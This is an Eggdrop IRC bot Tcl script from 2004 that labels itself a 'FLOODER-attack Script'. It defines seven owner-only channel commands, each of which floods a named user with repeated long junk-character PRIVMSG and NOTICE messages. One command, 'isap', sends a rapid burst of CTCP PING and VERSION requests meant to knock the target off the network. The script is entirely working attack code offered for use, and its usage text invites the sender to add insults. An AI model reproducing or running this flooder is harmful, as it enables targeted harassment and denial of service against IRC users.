flood.tcl

###################################################################
##                                                               ##
##         ooo        ooooo           oooooooooo.   o8o          ##
##         `88.       .888'           `888'   `Y8b  `"'          ##
##          888b     d'888   .ooooo.   888     888 oooo          ##
##          8 Y88. .P  888  d88' `88b  888oooo888' `888          ##
##          8  `888'   888  888   888  888    `88b  888          ##
##          8    Y     888  888   888  888    .88P  888          ##
##         o8o        o888o `Y8bod8P' o888bood8P'  o888o         ##
##                                                               ##
##  File Name: flooder.tCL date: 06 November 2004                ##
##  Has Been Ripper by MoBi aka PUPEN                            ##
##  Email: mobi@internux.web.id                                  ##
###################################################################
set CC "`"

bind pub n|n ${CC}keparat pub_keparat
bind pub n|n ${CC}britzone pub_britzone
bind pub n|n ${CC}headup pub_headup
bind pub n|n ${CC}salam pub_salam
bind pub n|n ${CC}damone pub_damone
bind pub n|n ${CC}isap pub_isap
bind pub n|n ${CC}bijiq pub_bijiq

## public cmd keparat -- start
proc pub_keparat {nick uhost hand channel rest} {
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} {
  puthelp "PRIVMSG $person :$rest ,|KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$"
  puthelp "NOTICE $person :$rest ,|KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$"
  puthelp "PRIVMSG $person :$rest ,|KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$"
  puthelp "NOTICE $person :$rest ,|KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$"
  puthelp "NOTICE $person :$rest ,|KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$"
  puthelp "NOTICE $person :$rest ,|KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$KePÄRÄTÇrÊw@FLÔøÐíÑg$"
  putlog "\002\[Headup\]\002 <<$nick>> !$hand! keparat $person"
  return 0
 }
 if {$rest==""} {
  puthelp "NOTICE $nick :\002\[Headup\]\002 Usage: keparat <nick> <*add your insult to injury is better :)*>"
 }
}
## public cmd keparat -- EnD

## public cmd britzone -- start
proc pub_britzone {nick uhost hand channel rest} {
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} {
  puthelp "PRIVMSG $person :$rest ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊwßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^"
  puthelp "NOTICE $person :$rest ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊwßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^"
  puthelp "PRIVMSG $person :$rest ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊwßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^"
  puthelp "NOTICE $person :$rest ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊwßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^"
  puthelp "NOTICE $person :$rest ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊwßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^"
  puthelp "NOTICE $person :$rest ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊwßRïTZøNÊ-ÇrÊw^ßRïTZøNÊ-ÇrÊw^ßRïTZøNÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^ßÃrøNG-ÇrÊw^"
  putlog "\002\[Headup\]\002 <<$nick>> !$hand! britzone $person"
  return 0
 }
 if {$rest==""} {
  puthelp "NOTICE $nick :\002\[Headup\]\002 Usage: britzone <nick> <*add your insult to injury is better :)*>"
 }
}
## public cmd britzone -- EnD

## public cmd headup -- start
proc pub_headup {nick uhost hand channel rest} {
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} {
  puthelp "PRIVMSG $person :$rest ,,Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$"
  puthelp "NOTICE $person :$rest ,,Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$"
  puthelp "PRIVMSG $person :$rest ,,Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$"
  puthelp "NOTICE $person :$rest ,,Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$"
  puthelp "NOTICE $person :$rest ,,Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$"
  puthelp "NOTICE $person :$rest ,,Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$Hedup$"
  putlog "\002\[Headup\]\002 <<$nick>> !$hand! headup $person"
  return 0
 }
 if {$rest==""} {
  puthelp "NOTICE $nick :\002\[Headup\]\002 Usage: headup <nick> <*add your insult to injury is better :)*>"
 }
}
## public cmd headup -- EnD

## public cmd salam -- start
proc pub_salam {nick uhost hand channel rest} {
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} {
  puthelp "PRIVMSG $person :$rest ,@$%&As$a!l@a@m@u$a%l&a$i!k@u@m$Ä%ss&a$l!a@m@u$a%l&ai$k!u@m@Ä$ss%a&l$a!m@u@a$la%i&k$u!m@Ä@s$s%a&l$a!m@u@a$l%a&i$k!u@@mÄ$s%s&s$s!s@s@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$a!al@ai@k$u%m&Ä$ss!a@l@a$m%&$!@@$u%a&l$a!i@k@u$m%"
  puthelp "NOTICE $person :$rest ,@$%&As$a!l@a@m@u$a%l&a$i!k@u@m$Ä%ss&a$l!a@m@u$a%l&ai$k!u@m@Ä$ss%a&l$a!m@u@a$la%i&k$u!m@Ä@s$s%a&l$a!m@u@a$l%a&i$k!u@@mÄ$s%s&s$s!s@s@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$a!al@ai@k$u%m&Ä$ss!a@l@a$m%&$!@@$u%a&l$a!i@k@u$m%"
  puthelp "PRIVMSG $person :$rest ,@$%&As$a!l@a@m@u$a%l&a$i!k@u@m$Ä%ss&a$l!a@m@u$a%l&ai$k!u@m@Ä$ss%a&l$a!m@u@a$la%i&k$u!m@Ä@s$s%a&l$a!m@u@a$l%a&i$k!u@@mÄ$s%s&s$s!s@s@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$a!al@ai@k$u%m&Ä$ss!a@l@a$m%&$!@@$u%a&l$a!i@k@u$m%"
  puthelp "NOTICE $person :$rest ,@$%&As$a!l@a@m@u$a%l&a$i!k@u@m$Ä%ss&a$l!a@m@u$a%l&ai$k!u@m@Ä$ss%a&l$a!m@u@a$la%i&k$u!m@Ä@s$s%a&l$a!m@u@a$l%a&i$k!u@@mÄ$s%s&s$s!s@s@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$a!al@ai@k$u%m&Ä$ss!a@l@a$m%&$!@@$u%a&l$a!i@k@u$m%"
  puthelp "NOTICE $person :$rest ,@$%&As$a!l@a@m@u$a%l&a$i!k@u@m$Ä%ss&a$l!a@m@u$a%l&ai$k!u@m@Ä$ss%a&l$a!m@u@a$la%i&k$u!m@Ä@s$s%a&l$a!m@u@a$l%a&i$k!u@@mÄ$s%s&s$s!s@s@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$a!al@ai@k$u%m&Ä$ss!a@l@a$m%&$!@@$u%a&l$a!i@k@u$m%"
  puthelp "NOTICE $person :$rest ,@$%&As$a!l@a@m@u$a%l&a$i!k@u@m$Ä%ss&a$l!a@m@u$a%l&ai$k!u@m@Ä$ss%a&l$a!m@u@a$la%i&k$u!m@Ä@s$s%a&l$a!m@u@a$l%a&i$k!u@@mÄ$s%s&s$s!s@s@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$u!a@l@a$i%k&u$m!Ä@ss@a$l%a&m$a!al@ai@k$u%m&Ä$ss!a@l@a$m%&$!@@$u%a&l$a!i@k@u$m%"
  putlog "\002\[Headup\]\002 <<$nick>> !$hand! salam $person"
  return 0
 }
 if {$rest==""} {
  puthelp "NOTICE $nick :\002\[Headup\]\002 Usage: salam <nick> <*add your insult to injury is better :)*>"
 }
}
## public cmd salam -- EnD

## public cmd damone -- start
proc pub_damone {nick uhost hand channel rest} {
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} {
  puthelp "PRIVMSG $person :$rest 8,DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!"
  puthelp "NOTICE $person :$rest ,DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!"
  puthelp "PRIVMSG $person :$rest 4,8DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!"
  puthelp "NOTICE $person :$rest ,DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!"
  puthelp "PRIVMSG $person :$rest 8,4DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!"
  puthelp "NOTICE $person :$rest ,DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!"
  puthelp "PRIVMSG $person :$rest 4,8DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!DÄMøNë ÇrêW!"
  puthelp "NOTICE $person :$rest 0,8,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,4$%||@#$%||@#$%||@#$%||@#12$%||@#$%||@#$%||@#0,4,|@#$%||@#$%||@#$%||@#0,12$%||@#$%||@#$%||@#$%||@#0,9$%||@#$%|"
  puthelp "PRIVMSG $person :$rest 8,0HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!0,12HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHHaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHaHa!HaHa!HaHaHa!HaHa!HaHaHa!HaHa!Ha"
  puthelp "NOTICE $person :$rest 9,1|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  puthelp "PRIVMSG $person :$rest 9,1|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%||@#$%|"
  putlog "\002\[Headup\]\002 <<$nick>> !$hand! damone $person"
  return 0
 }
 if {$rest==""} {
  puthelp "NOTICE $nick :\002\[Headup\]\002 Usage: damone <nick> <*add your insult to injury is better :)*>"
 }
}
## public cmd damone -- EnD

## public cmd isap -- start
proc pub_isap {nick uhost hand channel rest} {
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} {
  putserv "PRIVMSG $person :\001PING [unixtime]\001"
  putserv "PRIVMSG $person :\001VERSION [unixtime]\001"
  putserv "PRIVMSG $person :\001PING [unixtime]\001"
  putserv "PRIVMSG $person :\001VERSION [unixtime]\001"
  putserv "PRIVMSG $person :\001PING [unixtime]\001"
  putserv "PRIVMSG $person :\001VERSION [unixtime]\001"
  putserv "PRIVMSG $person :\001PING [unixtime]\001"
  putserv "PRIVMSG $person :\001VERSION [unixtime]\001"
  putserv "PRIVMSG $person :\001PING [unixtime]\001"
  putserv "PRIVMSG $person :\001VERSION [unixtime]\001"
  putlog "\002\[Headup\]\002 <<$nick>> !$hand! isap $person"
  return 0
 }
 if {$rest!=""} {
  puthelp "NOTICE $nick :\002\[Headup\]\002 Usage: isap <nick>"
 }
}
## public cmd isap -- EnD

## public cmd bijiq -- start
proc pub_bijiq {nick uhost hand channel rest} {
 set person [lindex $rest 0]
 set rest [lrange $rest 1 end]
 if {$rest!=""} {
  puthelp "PRIVMSG $person :$rest 3,9|@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@"
  puthelp "NOTICE $person :$rest ,|@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!!@@#$%&!!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@"
  puthelp "PRIVMSG $person :$rest 9,3|@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@"
  puthelp "NOTICE $person :$rest ,|@#$%&!@@#$%&!@@#$%&!!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@"
  puthelp "PRIVMSG $person :$rest 3,9|@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@"
  puthelp "NOTICE $person :$rest ,|@#$%&!@@#$%&!!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@@#$%&!@"
  putlog "\002\[Headup\]\002 <<$nick>> !$hand! bijiq $person"
  return 0
 }
 if {$rest==""} {
  puthelp "NOTICE $nick :\002\[Headup\]\002 Usage: bijiq <nick> <*add your insult to injury is better :)*>"
 }
}
## public cmd bijiq -- EnD

putlog "\002\[Headup\]\002 Headup-FLOODER-attack Script loaded..."